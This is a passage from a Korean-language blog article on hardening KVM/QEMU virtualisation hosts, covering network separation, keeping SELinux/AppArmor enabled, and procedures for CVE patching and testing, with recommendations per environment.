무조건 물리적으로 쪼개야 한다는 뜻은 아닙니다. 다만 관리망과 게스트 서비스망은 논리적으로라도 분리하는 편이 좋습니다. 단일 브리지 하나에 libvirt 관리, 스토리지, 일반 트래픽을 모두 태우면 나중에 로그 분석과 정책 적용이 훨씬 까다로워집니다. 홈랩은 VLAN이나 브리지 분리부터, 소규모 서버는 최소한 방화벽 존 분리부터 시작하는 편이 현실적입니다.
2. 성능 때문에 보안 기능을 일부 끄고 싶을 때는요?
저라면 순서를 바꿉니다. 먼저 스토리지 캐시 정책, 디스크 포맷, CPU 모델, vCPU pinning 필요성, 네트워크 백엔드를 확인합니다. 실제 병목은 seccomp나 sVirt보다 다른 데 있을 때가 훨씬 많았습니다. 보호 기능을 끄는 건 마지막 판단이어야 하고, 꼭 필요하면 대상 VM, 이유, 기간을 문서화해 두는 게 맞습니다.
3. CVE 방어는 어디까지 자동화해야 하나요?
최소한 패키지 업데이트 확인, 재부팅 필요 여부 확인, 핵심 VM 기동 테스트까지는 자동화 가치가 높습니다. 다만 운영 반영은 테스트 단계를 거치는 편이 안전합니다. 특히 커널과 QEMU 업데이트는 재부팅 또는 VM 재시작 전략까지 함께 생각해야 합니다.
홈랩: 수동 검토와 테스트 호스트 1대면 충분한 경우가 많습니다.
소규모 팀: 보안 공지 수집, 패키지 점검, 핵심 VM 스모크 테스트를 스크립트화하면 효율이 좋습니다.
서비스 운영: 변경 창구, 롤백 절차, 로그 보존, 책임자 승인 흐름까지 포함해야 오래 버팁니다.
마무리: 이런 환경이면 이렇게 가시면 됩니다
KVM 보안 강화는 대단한 신제품을 도입하는 작업보다, 기본 격리를 복구하고 불필요한 요소를 줄이는 운영 discipline에 더 가깝습니다. 여러 번 부딪혀 보니 결국 결과를 가르는 건 세 가지였습니다. QEMU 장치를 줄였는지, SELinux나 AppArmor를 끄지 않고 다뤘는지, 패치와 검증을 절차로 만들었는지요.
환경별 추천도 꽤 분명합니다.
홈랩이나 단일 호스트라면: SELinux/AppArmor 활성화, XML 장치 최소화, clean-traffic 적용, 이미지 저장 경로 표준화부터 시작하는 편이 좋습니다.
여러 VM을 운영하는 소규모 서버라면: 관리망 분리, 템플릿 표준화, libvirt 소켓 접근 통제, 업데이트 검증 절차까지 같이 가져가세요.
외부 서비스가 올라가는 환경이라면: 테스트 호스트, 변경 절차, 로그 점검 자동화, 백업·마이그레이션 검증 없이 오래 운영하기 어렵습니다.
한 줄로 줄이면 이렇습니다. 편의 때문에 격리를 끄는 쪽보다, 조금 불편하더라도 원인을 좁혀 수정하는 쪽이 결국 더 싸게 먹힙니다. 최신 취약점 방어도 그 연장선입니다. 패치를 빠르게 넣고, 공격면을 줄이고, 관리면을 분리하면 CVE 하나하나에 덜 흔들리는 환경이 됩니다. 본 글은 보안 학습과 본인이 관리하는 시스템의 방어를 위한 교육 목적입니다. 타인의 시스템에 대한 무단 접근·공격은 불법이며 법적 처벌 대상입니다.
패치, 격리, 네트워크 필터, 정책 검증, 운영 절차를 한 장으로 정리한 요약 인포그래픽입니다.